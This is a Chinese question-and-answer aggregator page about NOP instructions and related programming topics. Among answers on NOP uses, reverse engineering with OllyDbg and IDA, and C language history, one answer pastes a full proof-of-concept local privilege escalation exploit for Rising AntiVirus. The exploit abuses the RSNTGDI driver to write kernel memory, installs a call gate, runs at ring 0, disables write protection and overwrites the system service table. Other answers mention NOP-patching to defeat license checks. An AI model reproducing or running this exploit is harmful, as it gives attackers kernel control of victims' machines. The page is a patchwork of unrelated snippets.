當前位置:首頁 » 操作系統 » nop源碼

nop源碼

發布時間: 2022-02-17 11:21:41

① 「NOP指令」有何作用

nop指令的作用:

1)就是通過nop指令的填充(nop指令一個位元組),使指令按字對齊,從而減少取指令時的內存訪問次數。(一般用來內存地址偶數對齊,比如有一條指令,佔3位元組,這時候使用nop指令,cpu就可以從第四個位元組處讀取指令了。)

2)通過nop指令產生一定的延遲,但是對於快速的CPU來說效果不明顯,可以使用rep前綴,多延遲幾個時鍾;-->具體應該說是佔用了3個時鍾脈沖!

3)i/o傳輸時,也會用一下nop,等待緩沖區清空,匯流排恢復;

4)清除由上一個算術邏輯指令設置的flag位;

5)破解:對於原程序中驗證部分使用nop來填充,使驗證失效;

6)有一個朋友說的比較厲害--在太空梭控製程序中防止程序跳飛!

解釋如下:在空間放射性環境下,放射性子粒很容易使內存位元改變(呵呵,有點基因突變的感覺),這樣如果改變的是jump,call指令的存貯位置的話,就會導致程序跳轉到一個不可以預置的位置,對於關鍵系統來說的確是災難性的。所以就在被調用程序之前填充nop指令,這樣即使跳轉到稍前或者稍後的位置,也不會造成影響。

② 求萬行c語言源代碼

這個夠刺激
#include "stdafx.h"
#include "windows.h"
enum { SystemMoleInformation = 11 };
typedef struct {
ULONG Unknown1;
ULONG Unknown2;
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT NameLength;
USHORT LoadCount;
USHORT PathLength;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct {
ULONG Count;
SYSTEM_MODULE_INFORMATION_ENTRY Mole[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
HANDLE g_RsGdiHandle = 0 ;
void __stdcall WriteKVM(PVOID Address , ULONG Value)
{
ULONG ColorValue = Value ;
ULONG btr ;
ULONG ColorBuffer = 0 ;
DeviceIoControl(g_RsGdiHandle ,
0x83003C0B,
&ColorValue ,
sizeof(ULONG),
&ColorBuffer ,
sizeof(ULONG),
&btr ,
0
);
DeviceIoControl(g_RsGdiHandle ,
0x83003C0B,
&ColorValue ,
sizeof(ULONG),
Address ,
sizeof(ULONG),
&btr ,
0
);
return ;
}
void AddCallGate()
{
ULONG Gdt_Addr;
ULONG CallGateData[0x4];
ULONG Icount;
__asm
{
push edx
sgdt [esp-2]
pop edx
mov Gdt_Addr , edx
}
__asm
{
push 0xc3
push Gdt_Addr
call WriteKVM
mov eax,Gdt_Addr
mov word ptr[CallGateData],ax
shr eax,16
mov word ptr[CallGateData+6],ax
mov dword ptr[CallGateData+2],0x0ec0003e8
mov dword ptr[CallGateData+8],0x0000ffff
mov dword ptr[CallGateData+12],0x00cf9a00
xor eax,eax
LoopWrite:
mov edi,dword ptr CallGateData[eax]
push edi
mov edi,Gdt_Addr
add edi,0x3e0
add edi,eax
push edi
mov Icount,eax
call WriteKVM
mov eax,Icount
add eax , 0x4
cmp eax,0x10
jnz LoopWrite
}
return ;
}
void IntoR0(PVOID function)
{
WORD Callgt[3];
Callgt[0] = 0;
Callgt[1] = 0;
Callgt[2] = 0x3e3;
__asm
{
call fword ptr[Callgt]
mov eax,esp
mov esp,[esp+4]
push eax
call function
pop esp
push offset ring3Ret
retf
ring3Ret:
nop
}
return ;
}
#pragma pack(1)
typedef struct _IDTR
{
SHORT IDTLimit;
UINT IDTBase;
}IDTR,
*PIDTR,
**PPIDTR;
#pragma pack()
ULONG g_RealSSDT = 0 ;
ULONG ServiceNum = 0 ;
ULONG OrgService [0x1000] ;
ULONG RvaToOffset(IMAGE_NT_HEADERS *NT, ULONG Rva)
{
ULONG Offset = Rva, Limit;
IMAGE_SECTION_HEADER *Img;
WORD i;
Img = IMAGE_FIRST_SECTION(NT);
if (Rva < Img->PointerToRawData)
return Rva;
for (i = 0; i < NT->FileHeader.NumberOfSections; i++)
{
if (Img[i].SizeOfRawData)
Limit = Img[i].SizeOfRawData;
else
Limit = Img[i].Misc.VirtualSize;
if (Rva >= Img[i].VirtualAddress &&
Rva < (Img[i].VirtualAddress + Limit))
{
if (Img[i].PointerToRawData != 0)
{
Offset -= Img[i].VirtualAddress;
Offset += Img[i].PointerToRawData;
}
return Offset;
}
}
return 0;
}
#define ibaseDD *(PDWORD)&ibase
DWORD GetHeaders(PCHAR ibase, PIMAGE_FILE_HEADER *pfh, PIMAGE_OPTIONAL_HEADER *poh, PIMAGE_SECTION_HEADER *psh)
{
PIMAGE_DOS_HEADER mzhead=(PIMAGE_DOS_HEADER)ibase;
if ((mzhead->e_magic!=IMAGE_DOS_SIGNATURE)||(ibaseDD[mzhead->e_lfanew]!=IMAGE_NT_SIGNATURE)) return FALSE;
*pfh=(PIMAGE_FILE_HEADER)&ibase[mzhead->e_lfanew];
if (((PIMAGE_NT_HEADERS)*pfh)->Signature!=IMAGE_NT_SIGNATURE) return FALSE;
*pfh=(PIMAGE_FILE_HEADER)((PBYTE)*pfh+sizeof(IMAGE_NT_SIGNATURE));
*poh=(PIMAGE_OPTIONAL_HEADER)((PBYTE)*pfh+sizeof(IMAGE_FILE_HEADER));
if ((*poh)->Magic!=IMAGE_NT_OPTIONAL_HDR32_MAGIC) return FALSE;
*psh=(PIMAGE_SECTION_HEADER)((PBYTE)*poh+sizeof(IMAGE_OPTIONAL_HEADER));
return TRUE;
}
typedef struct {
WORD offset:12;
WORD type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
#define RVATOVA(base,offset) ((PVOID)((DWORD)(base)+(DWORD)(offset)))
DWORD FindKiServiceTable(HMODULE hMole,DWORD dwKSDT , PULONG ImageBase)
{
PIMAGE_FILE_HEADER pfh;
PIMAGE_OPTIONAL_HEADER poh;
PIMAGE_SECTION_HEADER psh;
PIMAGE_BASE_RELOCATION pbr;
PIMAGE_FIXUP_ENTRY pfe;
DWORD dwFixups=0,i,dwPointerRva,dwPointsToRva,dwKiServiceTable;
BOOL bFirstChunk;
GetHeaders((PCHAR)hMole,&pfh,&poh,&psh);
if ((poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) &&
(!((pfh->Characteristics)&IMAGE_FILE_RELOCS_STRIPPED))) {
pbr=(PIMAGE_BASE_RELOCATION)RVATOVA(poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress,hMole);
bFirstChunk=TRUE;
while (bFirstChunk || pbr->VirtualAddress) {
bFirstChunk=FALSE;
pfe=(PIMAGE_FIXUP_ENTRY)((DWORD)pbr+sizeof(IMAGE_BASE_RELOCATION));
for (i=0;i<(pbr->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))>>1;i++,pfe++) {
if (pfe->type==IMAGE_REL_BASED_HIGHLOW) {
dwFixups++;
dwPointerRva=pbr->VirtualAddress+pfe->offset;
dwPointsToRva=*(PDWORD)((DWORD)hMole+dwPointerRva)-(DWORD)poh->ImageBase;
if (dwPointsToRva==dwKSDT)
{
if (*(PWORD)((DWORD)hMole+dwPointerRva-2)==0x05c7)
{
dwKiServiceTable=*(PDWORD)((DWORD)hMole+dwPointerRva+4)-poh->ImageBase;
*ImageBase = poh->ImageBase;
return dwKiServiceTable;
}
}
}
}
*(PDWORD)&pbr+=pbr->SizeOfBlock;
}
}
return 0;
}
DWORD CR0Reg ;
ULONG realssdt ;
void InKerneProc()
{
__asm
{
cli
mov eax, cr0
mov CR0Reg,eax
and eax,0xFFFEFFFF
mov cr0, eax
}
int i;
for (i = 0; i < (int)ServiceNum; i++)
{
*(ULONG*)(*(ULONG*)realssdt + i * sizeof(ULONG)) = OrgService[i];
}
__asm
{
mov eax, CR0Reg
mov cr0, eax
sti
}
}
int main(int argc, char* argv[])
{
printf("Rising AntiVirus 2008 ~ 2010 \n"
"Local Privilege Escalation Vulnerability Proof Of Concept Exploit\n 2010-1-27\n");
g_RsGdiHandle = CreateFile("\\\\.\\RSNTGDI" ,
0,
FILE_SHARE_READ | FILE_SHARE_WRITE ,
0,
OPEN_EXISTING , 0 , 0 );
if (g_RsGdiHandle == INVALID_HANDLE_VALUE)
{
return 0 ;
}
SYSTEM_MODULE_INFORMATION MoleInfo ;
// Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address
HMODULE hlib = GetMoleHandle("ntdll.dll");
PVOID pNtQuerySystemInformation = GetProcAddress(hlib , "NtQuerySystemInformation");
ULONG infosize = sizeof(MoleInfo);
__asm
{
push 0
push infosize
lea eax , MoleInfo
push eax
push 11
call pNtQuerySystemInformation
}
HMODULE KernelHandle ;
LPCSTR ntosname = (LPCSTR)((ULONG)MoleInfo.Mole[0].ImageName + MoleInfo.Mole[0].PathLength);
// Load the kernel image specified
KernelHandle = LoadLibrary(ntosname);
if (KernelHandle == 0 )
{
return 0 ;
}
ULONG KeSSDT = (ULONG)GetProcAddress(KernelHandle , "KeServiceDescriptorTable");
if (KeSSDT == 0 )
{
return 0 ;
}
ULONG ImageBase = 0 ;
ULONG KiSSDT = FindKiServiceTable(KernelHandle , KeSSDT - (ULONG)KernelHandle , &ImageBase);
if (KiSSDT == 0 )
{
return 0 ;
}
KiSSDT += (ULONG)KernelHandle;
ServiceNum = 0x11c ;
ULONG i ;
for (i = 0 ; i < ServiceNum ; i ++)
{
OrgService[i] = *(ULONG*)(KiSSDT + i * sizeof(ULONG)) + (ULONG)MoleInfo.Mole[0].Base - ImageBase;
}
realssdt = KeSSDT - (ULONG)KernelHandle + (ULONG)MoleInfo.Mole[0].Base;
SetThreadAffinityMask(GetCurrentThread () , 0 ) ;
AddCallGate();
IntoR0(InKerneProc);
return 0;
}

③ 怎麼把exe和dll文件分析及源碼

ollydbg調試和修改exe等文件內部指令,使用IDA生成稍顯易讀的逆向代碼。兩者結合效果比較好。前者用於運行調試,找到目標指令的位置,後者則是逆向前期用來分析exe文件內部結構的工具。
怎麼改,不能一言蔽之。大概的原理可以告訴你
使用ollydbg,運行,點擊菜單欄的打開,選擇你的exe文件,運行,找到main函數的位置,設置斷點,單步運行,知道找到你想找的指令的位置,更改該指令,注意要保證指令的總體大小不變,比如說原先該條指令的大小是4個位元組,那麼你可以使用4個NOP指令代替,大小不變,但是使用6個NOP或者3個NOP指令,總體大小就不同了,exe文件內部指令的相對地址都變了。
即最後的exe文件大小要不變,不然會損壞exe文件。。。
最後保存修改的內容。
不知道你有沒有個大概的印象,反匯編本來就很耗時耗力,需要耐心和經驗,還得看你的需求。
你可以上「看雪論壇」搜索相關的教程。

④ 關於nop指令的作用

無源碼調試程序,可以用NOP將一段功能取消掉,還可以將NOP的代碼段改成自己的代碼(類似shellcode),這個用的非常多

⑤ nopcommerce 源碼怎麼編譯安裝

同求!同時向找個精通nopcommerce做個企業商城

⑥ 下面的源代碼在proteus中編譯錯誤,哪裡錯了

這程序不是這么打的,你這是兩列程序嗎,要打成一列的,每一行只能打一列,這要是不錯,都怪了,你這是跟誰學的這么打程序?

⑦ NOP.CN 的官網是哪家公司製作的聯系方式有嗎源碼哪裡有

據我所知, 他們所有衣服都是自己設計的, 主設計師是女的, 很有才華. 網站的確做的特別好, 很有質感, 和國內其他電商很不一樣. 估計不可能賣源碼的吧.... 人家大公司來的... 還有他們CEO好像原來做投資的, 不缺錢, 還是個帥哥....

⑧ uint FTemp在單片機C語言裡面是什麼意思 ,源碼,求詳細解釋下!

#define uint unsigned int
......
uint FTemp; //unsigned int FTemp, 定義一個unsigned int型的變數FTemp

......

⑨ Keil遇到問題,不會改 TEXT1.C(33): error C216: subscript on non-array or too many dimensions

錯誤的意思是你把下標用在了一個非數組的變數上。
從你的代碼看, display不是數組,但第33句,使用了display[k]。所以出錯。

⑩ 機器語言 匯編語言 偽代碼 c語言分別是指什麼

計算機語言是人們描述計算過程即程序的規范書寫語言。程序是計算機處理對象和計算規則的描述。語言的基礎是一組記號和規則,根據規則由記號構成記號串的總體就是語言。

人類發明了計算機,需要與計算機「交流」,即寫入和讀出,這樣必須使用一種語言讓人類與機器能夠交流,就誕生了機器語言。

機器語言是機器指令的集合。機器指令展開來講就是一台機器可以正確執行的命令。每種微處理器,可以識別的每一條指令稱為機器指令。每一種處理器都有自己可以識別的一整套指令,稱為指令集。由於硬體設計和內部結構的不同,就需要用不同的電平脈沖來控制,使它工作。所以每一種微處理器都有自己的機器指令集,也就是機器語言。機器語言是計算機可以識別並運行的二進制代碼。

匯編語言是將二進制的機器碼通過助記符的方式讓人可以更方便的編寫並檢查的低級語言。匯編語言接近機器語言,可以看做是機器語言的另一種形式,計算機在運行時也需要將其變為機器語言的二進制才可運行。匯編語言是機器語言的助記符。

偽代碼是一種演算法描述語言。它不是一種現實存在的編程語言。使用為代碼的目的是為了使被描述的演算法可以容易地以任何一種編程語言實現。它可能綜合使用多種編程語言中語法、保留字,甚至會用到自然語言。 因此,偽代碼必須結構清晰,代碼簡單,可讀性好,並且類似自然語言。計算機科學在教學中通常使用偽代碼,以使得所有的程序員都能理解。

C語言之所以命名為C,是因為 C語言源自Ken Thompson發明的B語言,而 B語言則源自BCPL語言。1972年,美國貝爾實驗室的 D.M.Ritchie 在B語言的基礎上最終設計出了一種新的語言,他取了BCPL的第二個字母作為這種語言的名字,這就是C語言。機器語言和匯編語言都不具有移植性,而C語言程序則可以使用在任意架構的處理器上,只要那種架構的處理器具有對應的C語言編譯器和庫,然後將C源代碼編譯、連接成目標二進制文件之後即可運行。

熱點內容
編程鍵是什麼 發布:2024-09-20 07:52:47 瀏覽:651
學考密碼重置要求的證件是什麼 發布:2024-09-20 07:19:46 瀏覽:477
電腦主伺服器怎麼開機 發布:2024-09-20 07:19:07 瀏覽:728
2022款瑞虎升級哪些配置 發布:2024-09-20 06:59:07 瀏覽:264
資料庫與asp 發布:2024-09-20 06:55:25 瀏覽:727
python解釋編譯 發布:2024-09-20 06:52:57 瀏覽:648
舞蹈豐收腳本 發布:2024-09-20 06:36:26 瀏覽:595
linux進程埠號 發布:2024-09-20 06:36:11 瀏覽:79
派派怎麼改密碼忘了 發布:2024-09-20 06:25:49 瀏覽:780
linux虛擬地址物理地址 發布:2024-09-20 06:23:29 瀏覽:564